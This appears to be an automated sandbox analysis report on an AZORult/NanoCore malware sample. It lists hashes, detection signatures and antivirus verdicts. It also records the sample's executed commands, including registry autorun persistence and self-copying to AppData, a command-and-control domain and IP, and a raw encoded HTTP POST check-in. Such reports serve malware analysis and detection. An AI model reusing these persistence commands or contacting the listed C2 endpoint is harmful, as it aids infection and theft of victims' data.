paladin316

AZORult_a05313f6b578e61e733f18796f2a8290_exe_2019-08-08_10_30.txt

Aug 8th, 2019
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  1.  
  2. * MalFamily: "Azorult"
  3.  
  4. * MalScore: 10.0
  5.  
  6. * File Name: "NanoCore_a05313f6b578e61e733f18796f2a8290.exe"
  7. * File Size: 1000520
  8. * File Type: "PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows"
  9. * SHA256: "81f5a32fc07347685d508ea5f27688e1c9bcd32a026fca994525cc584cf08cfc"
  10. * MD5: "a05313f6b578e61e733f18796f2a8290"
  11. * SHA1: "4f0bd509511c43547606511937937b5f629b5d9f"
  12. * SHA512: "541c800435ae324a2a4edda7de146e7eb3462142526161ae5ed39c632e013a668130e48b86bf4e79cfaf6cbb2ad0c449466fc6ac9db229cb7d47c912383f465d"
  13. * CRC32: "AFE97549"
  14. * SSDEEP: "6144:aa17/INHgb404bplONJBuFbpZ3MJHyBjL7Ekt66CL:d17Apgb40DriIoni6M"
  15.  
  16. * Process Execution:
  17. "NanoCore_a05313f6b578e61e733f18796f2a8290.exe",
  18. "cmd.exe",
  19. "cmd.exe",
  20. "reg.exe",
  21. "cmd.exe",
  22. "cmd.exe",
  23. "svhost.exe"
  24.  
  25.  
  26. * Executed Commands:
  27. "cmd.exe /c copy \"C:/Users/user/AppData/Local/Temp/NanoCore_a05313f6b578e61e733f18796f2a8290.exe\" \"%appdata%\\FolderN\\name.exe\" /Y",
  28. "cmd.exe /c reg add \"HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows\" /v Load /t REG_SZ /d \"%appdata%\\FolderN\\name.exe.lnk\" /f",
  29. "cmd.exe /c echo zoneTransferZoneID = 2 > %appdata%\\FolderN\\name.exe:Zone.Identifier",
  30. "cmd.exe /c ren \"%appdata%\\FolderN\\name.exe.jpg\" name.exe",
  31. "\"C:\\Users\\user\\AppData\\Local\\Temp\\svhost.exe\"",
  32. "reg add \"HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows\" /v Load /t REG_SZ /d \"C:\\Users\\user\\AppData\\Roaming\\FolderN\\name.exe.lnk\" /f"
  33.  
  34.  
  35. * Signatures Detected:
  36.  
  37. "Description": "Creates RWX memory",
  38. "Details":
  39.  
  40.  
  41. "Description": "At least one IP Address, Domain, or File Name was found in a crypto call",
  42. "Details":
  43.  
  44. "ioc": "v2.0.50727"
  45.  
  46.  
  47.  
  48.  
  49. "Description": "Reads data out of its own binary image",
  50. "Details":
  51.  
  52. "self_read": "process: NanoCore_a05313f6b578e61e733f18796f2a8290.exe, pid: 200, offset: 0x00000000, length: 0x00001000"
  53.  
  54.  
  55. "self_read": "process: NanoCore_a05313f6b578e61e733f18796f2a8290.exe, pid: 200, offset: 0x00000080, length: 0x00000200"
  56.  
  57.  
  58.  
  59.  
  60. "Description": "A process created a hidden window",
  61. "Details":
  62.  
  63. "Process": "NanoCore_a05313f6b578e61e733f18796f2a8290.exe -> cmd.exe"
  64.  
  65.  
  66. "Process": "NanoCore_a05313f6b578e61e733f18796f2a8290.exe -> cmd.exe"
  67.  
  68.  
  69. "Process": "NanoCore_a05313f6b578e61e733f18796f2a8290.exe -> cmd.exe"
  70.  
  71.  
  72. "Process": "NanoCore_a05313f6b578e61e733f18796f2a8290.exe -> cmd.exe"
  73.  
  74.  
  75.  
  76.  
  77. "Description": "Drops a binary and executes it",
  78. "Details":
  79.  
  80. "binary": "C:\\Users\\user\\AppData\\Local\\Temp\\svhost.exe"
  81.  
  82.  
  83.  
  84.  
  85. "Description": "HTTP traffic contains suspicious features which may be indicative of malware related traffic",
  86. "Details":
  87.  
  88. "post_no_referer": "HTTP traffic contains a POST request with no referer header"
  89.  
  90.  
  91. "post_no_useragent": "HTTP traffic contains a POST request with no user-agent header"
  92.  
  93.  
  94. "http_version_old": "HTTP traffic uses version 1.0"
  95.  
  96.  
  97. "suspicious_request": "http://romanone.com:443/wp-content/okoye/32/index.php"
  98.  
  99.  
  100.  
  101.  
  102. "Description": "Performs some HTTP requests",
  103. "Details":
  104.  
  105. "url": "http://romanone.com:443/wp-content/okoye/32/index.php"
  106.  
  107.  
  108.  
  109.  
  110. "Description": "The binary likely contains encrypted or compressed data.",
  111. "Details":
  112.  
  113. "section": "name: .text, entropy: 7.24, characteristics: IMAGE_SCN_CNT_CODE|IMAGE_SCN_MEM_EXECUTE|IMAGE_SCN_MEM_READ, raw_size: 0x00046a00, virtual_size: 0x000469dc"
  114.  
  115.  
  116.  
  117.  
  118. "Description": "Anomalous .NET characteristics",
  119. "Details":
  120.  
  121. "anomalous_version": "Assembly version is set to 0"
  122.  
  123.  
  124.  
  125.  
  126. "Description": "Executed a process and injected code into it, probably while unpacking",
  127. "Details":
  128.  
  129. "Injection": "NanoCore_a05313f6b578e61e733f18796f2a8290.exe(200) -> svhost.exe(2748)"
  130.  
  131.  
  132.  
  133.  
  134. "Description": "Installs itself for autorun at Windows startup",
  135. "Details":
  136.  
  137. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows\\Load"
  138.  
  139.  
  140. "data": "C:\\Users\\user\\AppData\\Roaming\\FolderN\\name.exe.lnk"
  141.  
  142.  
  143.  
  144.  
  145. "Description": "Creates a hidden or system file",
  146. "Details":
  147.  
  148. "file": "C:\\Users\\user\\AppData\\Roaming\\FolderN"
  149.  
  150.  
  151.  
  152.  
  153. "Description": "File has been identified by 15 Antiviruses on VirusTotal as malicious",
  154. "Details":
  155.  
  156. "FireEye": "Generic.mg.a05313f6b578e61e"
  157.  
  158.  
  159. "Cyren": "W32/MSIL_Kryptik.KV.gen!Eldorado"
  160.  
  161.  
  162. "Symantec": "ML.Attribute.HighConfidence"
  163.  
  164.  
  165. "APEX": "Malicious"
  166.  
  167.  
  168. "Invincea": "heuristic"
  169.  
  170.  
  171. "Webroot": "W32.Trojan.Gen"
  172.  
  173.  
  174. "Avira": "HEUR/AGEN.1005361"
  175.  
  176.  
  177. "Microsoft": "Trojan:Win32/Wacatac.B!ml"
  178.  
  179.  
  180. "ZoneAlarm": "HEUR:Backdoor.MSIL.NanoBot.gen"
  181.  
  182.  
  183. "Acronis": "suspicious"
  184.  
  185.  
  186. "ESET-NOD32": "a variant of MSIL/Kryptik.SHS"
  187.  
  188.  
  189. "SentinelOne": "DFI - Malicious PE"
  190.  
  191.  
  192. "Cybereason": "malicious.9511c4"
  193.  
  194.  
  195. "CrowdStrike": "win/malicious_confidence_100% (D)"
  196.  
  197.  
  198. "Qihoo-360": "HEUR/QVM03.0.1079.Malware.Gen"
  199.  
  200.  
  201.  
  202.  
  203. "Description": "Creates a copy of itself",
  204. "Details":
  205.  
  206. "copy": "C:\\Users\\user\\AppData\\Roaming\\FolderN\\name.exe"
  207.  
  208.  
  209.  
  210.  
  211. "Description": "Attempts to interact with an Alternate Data Stream (ADS)",
  212. "Details":
  213.  
  214. "file": "C:NanoCore_a05313f6b578e61e733f18796f2a8290.exe"
  215.  
  216.  
  217.  
  218.  
  219. "Description": "Collects information to fingerprint the system",
  220. "Details":
  221.  
  222.  
  223. "Description": "Created network traffic indicative of malicious activity",
  224. "Details":
  225.  
  226. "signature": "SURICATA TLS invalid record type"
  227.  
  228.  
  229. "signature": "ET TROJAN AZORult Variant.4 Checkin M2"
  230.  
  231.  
  232. "signature": "SURICATA TLS invalid record/traffic"
  233.  
  234.  
  235.  
  236.  
  237.  
  238. * Started Service:
  239.  
  240. * Mutexes:
  241. "Global\\CLR_CASOFF_MUTEX",
  242. "A81FB8C6-0BBE6E18-6FC9B5DB-536DA455-933946726"
  243.  
  244.  
  245. * Modified Files:
  246. "\\??\\PIPE\\srvsvc",
  247. "C:\\Users\\user\\AppData\\Roaming\\FolderN\\name.exe.lnk",
  248. "C:\\Users\\user\\AppData\\Local\\Temp\\FolderN\\name.exe.jpg",
  249. "C:\\Users\\user\\AppData\\Local\\Temp\\svhost.exe",
  250. "C:\\Users\\user\\AppData\\Roaming\\FolderN\\name.exe",
  251. "C:\\Users\\user\\AppData\\Roaming\\FolderN\\name.exe:Zone.Identifier"
  252.  
  253.  
  254. * Deleted Files:
  255. "C:\\Users\\user\\AppData\\Local\\Temp\\FindMe",
  256. "C:\\Users\\user\\AppData\\Roaming\\svhost.exe",
  257. "C:\\Users\\user\\AppData\\Roaming\\FolderN\\FZQR27Y43sDbON97KOJGAg==.bat",
  258. "C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\CONFIG\\security.config.cch.200.14703375",
  259. "C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\CONFIG\\enterprisesec.config.cch.200.14703375",
  260. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\CLR Security Config\\v2.0.50727.312\\security.config.cch.200.14703375"
  261.  
  262.  
  263. * Modified Registry Keys:
  264. "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows\\Load"
  265.  
  266.  
  267. * Deleted Registry Keys:
  268.  
  269. * DNS Communications:
  270.  
  271. "type": "A",
  272. "request": "romanone.com",
  273. "answers":
  274.  
  275. "data": "195.201.152.3",
  276. "type": "A"
  277.  
  278.  
  279.  
  280.  
  281.  
  282. * Domains:
  283.  
  284. "ip": "195.201.152.3",
  285. "domain": "romanone.com"
  286.  
  287.  
  288.  
  289. * Network Communication - ICMP:
  290.  
  291. * Network Communication - HTTP:
  292.  
  293. "count": 1,
  294. "body": "J/\\xfb5/\\xfb<L\\x8a(9\\xf0N/\\xfb;/\\xfaI/\\xfb=H\\x8aH/\\xfb;O\\xed>;\\xed>2\\xed?N\\xed><\\x8eN/\\xfb4H\\xed>?\\x8cO/\\xfaI/\\xfb8/\\xfb>/\\xfb;N\\x89(9\\xfc(9\\xfd(9\\xfd(8\\x8c(9\\xf1(9\\xfb(9\\xfb(9\\xf1(9\\xfc(9\\xfe(9\\xff(9\\xfa(9\\xfe",
  295. "uri": "http://romanone.com:443/wp-content/okoye/32/index.php",
  296. "user-agent": "Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1)",
  297. "method": "POST",
  298. "host": "romanone.com",
  299. "version": "1.0",
  300. "path": "/wp-content/okoye/32/index.php",
  301. "data": "POST /wp-content/okoye/32/index.php HTTP/1.0\r\nHost: romanone.com\r\nConnection: close\r\nUser-agent: Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1)\r\nContent-Length: 105\r\n\r\nJ/\\xfb5/\\xfb<L\\x8a(9\\xf0N/\\xfb;/\\xfaI/\\xfb=H\\x8aH/\\xfb;O\\xed>;\\xed>2\\xed?N\\xed><\\x8eN/\\xfb4H\\xed>?\\x8cO/\\xfaI/\\xfb8/\\xfb>/\\xfb;N\\x89(9\\xfc(9\\xfd(9\\xfd(8\\x8c(9\\xf1(9\\xfb(9\\xfb(9\\xf1(9\\xfc(9\\xfe(9\\xff(9\\xfa(9\\xfe",
  302. "port": 443
  303.  
  304.  
  305.  
  306. * Network Communication - SMTP:
  307.  
  308. * Network Communication - Hosts:
  309.  
  310. * Network Communication - IRC:
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